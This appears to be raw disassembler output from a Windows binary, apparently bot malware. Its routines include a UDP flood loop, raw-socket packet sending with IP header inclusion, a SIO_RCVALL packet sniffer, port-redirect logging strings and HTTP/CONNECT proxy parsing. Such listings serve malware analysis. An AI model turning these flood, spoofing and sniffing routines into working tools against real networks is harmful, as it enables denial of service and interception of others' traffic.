var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_436840
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427821
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_42781A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_42781A:				; CODE XREF: sub_4277C0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_427821:				; CODE XREF: sub_4277C0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_42785D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42785D:				; CODE XREF: sub_4277C0+77j
		push	esi
		call	near ptr 71AB2B66h
		nop
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42787B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42787B:				; CODE XREF: sub_4277C0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42788E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42788E:				; CODE XREF: sub_4277C0+9Bj
					; sub_4277C0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_4278A4
		mov	[esp+28h+arg_FFE4], 1


loc_4278A4:				; CODE XREF: sub_4277C0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_4278DE


loc_4278CB:				; CODE XREF: sub_4277C0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_4278CB


loc_4278DE:				; CODE XREF: sub_4277C0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427970
		mov	ebp, dword_50FC5C


loc_4278F6:				; CODE XREF: sub_4277C0+1AEj
		mov	al, byte_4D64E9
		test	al, al
		jz	short loc_427970
		mov	esi, 0Bh


loc_427904:				; CODE XREF: sub_4277C0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2811E0Eh
		dec	esi
		jnz	short loc_427904
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_42795B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_42795B:				; CODE XREF: sub_4277C0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_4278F6


loc_427970:				; CODE XREF: sub_4277C0+12Aj
					; sub_4277C0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_4277C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4279F0	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427A4D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A4D:				; CODE XREF: sub_4279F0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427A6D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A6D:				; CODE XREF: sub_4279F0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_4279F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AD0	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F60
		mov	eax, edi


loc_427B37:				; CODE XREF: sub_427AD0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427B5B
		test	cl, cl
		jz	short loc_427B57
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427B5B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427B37


loc_427B57:				; CODE XREF: sub_427AD0+71j
		xor	eax, eax
		jmp	short loc_427B60
; ---------------------------------------------------------------------------


loc_427B5B:				; CODE XREF: sub_427AD0+6Dj
					; sub_427AD0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427B60:				; CODE XREF: sub_427AD0+89j
		cmp	eax, ebx
		jnz	short loc_427BB3
		mov	ebp, dword_4D60F7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427B77
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BBE


loc_427B77:				; CODE XREF: sub_427AD0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		call	near ptr 71AB50C8h
		nop
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427BBE
; ---------------------------------------------------------------------------


loc_427BB3:				; CODE XREF: sub_427AD0+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427BBE:				; CODE XREF: sub_427AD0+A5j
					; sub_427AD0+E1j
		cmp	ebp, ebx
		jz	short loc_427BC7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BCD


loc_427BC7:				; CODE XREF: sub_427AD0+F0j
		mov	ebp, dword_4D60F7


loc_427BCD:				; CODE XREF: sub_427AD0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427D0D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427CF3
		mov	ebx, dword_50FC90


loc_427C63:				; CODE XREF: sub_427AD0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427CE3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427CBE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427CDB
; ---------------------------------------------------------------------------


loc_427CBE:				; CODE XREF: sub_427AD0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427CE3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427CDB:				; CODE XREF: sub_427AD0+1ECj
		call	sub_40207C
		add	esp, 8


loc_427CE3:				; CODE XREF: sub_427AD0+1C0j
					; sub_427AD0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427C63


loc_427CF3:				; CODE XREF: sub_427AD0+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		call	near ptr 77C3EEF6h
		nop
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_427D0D:				; CODE XREF: sub_427AD0+11Dj
					; sub_427AD0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427AD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427DC0	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444F30
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E30	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427EF0	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427EF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427EF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427FC0:				; CODE XREF: ___:00401A14j
					; ___:loc_402068j
		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	byte ptr [esp+8], 1
		jz	short loc_427FD8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427FD8:				; CODE XREF: ___:00427FCDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FF0	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_428008
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428008:				; CODE XREF: sub_427FF0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427FF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428020	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_428020	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428040	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_428040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428160	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_428160	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428220	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_428238
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428238:				; CODE XREF: sub_428220+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428220	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428250	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42826E
		push	eax
		call	edi	; closesocket


loc_42826E:				; CODE XREF: sub_428250+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42827C
		push	eax
		call	edi	; closesocket


loc_42827C:				; CODE XREF: sub_428250+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_428250	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282C0	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BA92
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_4282F8:				; CODE XREF: sub_4282C0+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429310
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4283B0
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429280
; ---------------------------------------------------------------------------


loc_4283B0:				; CODE XREF: sub_4282C0+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445248
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428475
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4292FF
		jmp	loc_42866A
; ---------------------------------------------------------------------------


loc_428475:				; CODE XREF: sub_4282C0+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42866A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F60
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		push	offset asc_443600 ; " "
